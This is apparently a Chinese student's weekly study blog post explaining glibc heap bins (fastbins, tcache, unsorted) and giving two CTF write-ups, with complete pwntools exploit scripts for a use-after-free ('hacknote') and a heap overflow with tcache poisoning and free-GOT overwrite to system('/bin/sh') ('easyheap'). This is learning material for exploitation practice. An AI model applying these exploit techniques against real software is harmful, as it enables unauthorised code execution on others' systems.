24-01-21

本周学习总结

堆。。。堆起来了?

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、Bins

在glibc中对于被free掉的堆块有不同的bins进行管理,方便下次再次使用malloc进行申请。

fastbins,tcachebins,unsortedbins等。

x64(对于x32的范围数值需要除以2)

1.fastbins

回收的块范围是0x200x80(x32就是0x100x40),被回收的块一般不会合并。采用后进先出的原则。经过gdb观察,每次被释放的块都会被插入头节点,申请时也是从头节点取出,其中fd指针指向下一个要被头节点指向的块。A|M|P中P的值始终为1。

2.tcachebins

在glibc2.26及以后版本出现,类似fastbins,回收块的范围是0x20~0x410,限制每种块的数量为7个,多余的块会进入其他原本该进入bins中,后进先出原则,优先级高于任何bins。比较明显的区别就是tcachebin中的链表指针指向的下一个chunk的fd字段,fastbin中的链表指针指向的是下一个chunk的prev_size字段。

3.unsortedbins

被称为未排序的堆块链表。回收块的大小大于0x80,优先级小于tcachebins高于其他bins。双向链表,先进先出原则,进入的块被插入头节点,申请时从尾节点取出块。可用于暴露__malloc_hook。

二、Easy–hacknote–uaf漏洞

前置技能:uaf漏洞初解

glibc:2.31(本地)

下载得到ELF文件hacknote。

check!

32位,canary+NX开启。

ida分析如下:

main:

add:

del:

show:

magic:

在del中发现uaf漏洞,free掉后没有将pttr+v1清0。在add中,每次申请块时都会先申请一个0x8大小的块,前半部分用于存放一个输出函数的地址,后半部分用于存放申请到的块指针。

我们可以先申请2次0x10大小块,这样我们就得到了2个0x8大小的块和2个0x10大小的块,接着free他们,这样tcachebins中就有了4个块,我们在申请1次0x8大小的块,tcachebins就会给我们2块0x8大小的块,第一块被程序使用,第二块也就是我们之前第一次申请的块,我们将他修改为magic的地址,接着show掉他,此时就执行了magic。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a == '':
gdb.attach(p)
pause()
else:
gdb.attach(p, a)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# p = remote({IP})
# elf = ELF("./pwn")

p = process("./hacknote")

def add(size, text):
sea(b"choice :", stre(1))
sea(b"size :", stre(size))
sea(b"Content :", text)

def dele(count):
sea(b"choice :", stre(2))
sea(b"Index :", stre(count))

def show(count):
sea(b"choice :", stre(3))
sea(b"Index :", stre(count))

add(0x10, b"123")
add(0x10, b"456")
dele(0)
dele(1)
add(0x8, p32(0x804898F))
show(0)
op()

三、Easy–easyheap–堆溢出漏洞

前置技能:堆溢出初解

下载得到文件easyheap

glibc:2.31(本地)

check:

64位程序,canary+NX开启。

ida分析:

main:

add:

edit:

del:

door:

所有的块的位置都由一个叫heaparray的全局数组记录,del函数中没有uaf漏洞,但是在edit函数中由于没有限制编辑堆的大小出现了堆溢出漏洞。我们可以修改free函数的got表来实现对system的调用,我们可以在某个块中写入比如编号为1号的块(从0号开始编号)写入”/bin/sh\x00”,此时我们使用free(1)相当于system(“/bin/sh\x00”)。

为了修改got表,我们可以先申请4个0x60大小的块,再释放3号和2号块,此时1号块与2号块相邻,2号块的fd记录的是3号块的地址,此时编辑1号块时我们可以修改2号块的fd到heaparray的位置,在填充的时候将“/bin/sh\x00”写在1号块的开头方便后面调用,再申请2个0x60大小的块。此时第一次申请的块是原先的2号块,第二次申请的块由原本的3号块变成了数组heaparray。

在这里还需要注意在申请块时会触发malloc的检查,我们不能直接将2号块的fd写成heaparray的地址,这个问题在后面再解释。

此时我们就有了修改数组heaparray的权利,我们此时编辑3号块就是编辑数组heaparray,我们将free的got地址写在heaparray[0]的位置,此时我们再使用edit修改0号块相当于修改free的got表,我们将system的plt地址写在这里,通过延迟绑定机制,free的got地址中会写入system在内存中的真实地址,此时我们调用del(1)相当于执行了system(“/bin/sh\x00”)。

为了绕开malloc检查,我们需要在heaparray附近找到一个合适的位置:

在0x6020A0这一行有一个7f,我们调整一下地址:

此时地址0x6020AD中最右边剩下了7f,我们挑选0x6020BD作为我们的目标地址,这是tcachebin中的链表指针指向的下一个chunk的fd字段的原因。此时与heaparray有0x23的距离(0x30-13)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# p = remote({IP})

p = process("./easyheap")
elf = ELF("./easyheap")

def add(size, text):
sea(b"choice :", stre(1))
sea(b"Heap : ", stre(size))
sea(b"heap:", text)

def edit(count, size, text):
sea(b"choice :", stre(2))
sea(b"Index :", stre(count))
sea(b"Heap : ", stre(size))
sea(b"heap : ", text)

def dele(count):
sea(b"choice :", stre(3))
sea(b"Index :", stre(count))

add(0x60, b"A" * 8)
add(0x60, b"B" * 8)
add(0x60, b"C" * 8)
add(0x60, b"D" * 8)
dele(3)
dele(2)

payload = b"/bin/sh\x00" + b'A' * 0x60 + p64(0x71) + p64(0x6020BD)
edit(1, len(payload), payload)

add(0x60, b"E" * 8)
add(0x60, b"F" * 8)

# 下面的0x23是用来填充距离的
payload = b'A' * 0x23 + p64(elf.got["free"])
edit(3, len(payload), payload)

payload = p64(elf.plt["system"])
edit(0, len(payload), payload)

dele(1)
op()

四、没有四了,装了一个新的虚拟机花费了大量的时间,下周在多写点堆题吧。

下周学习计划

| 应该要做的事情 |

继续堆的学习

学习感受


24-01-21
https://zlsf-zl.github.io/2024/01/21/1-21-1-28/
作者
ZLSF
发布于
2024年1月21日
许可协议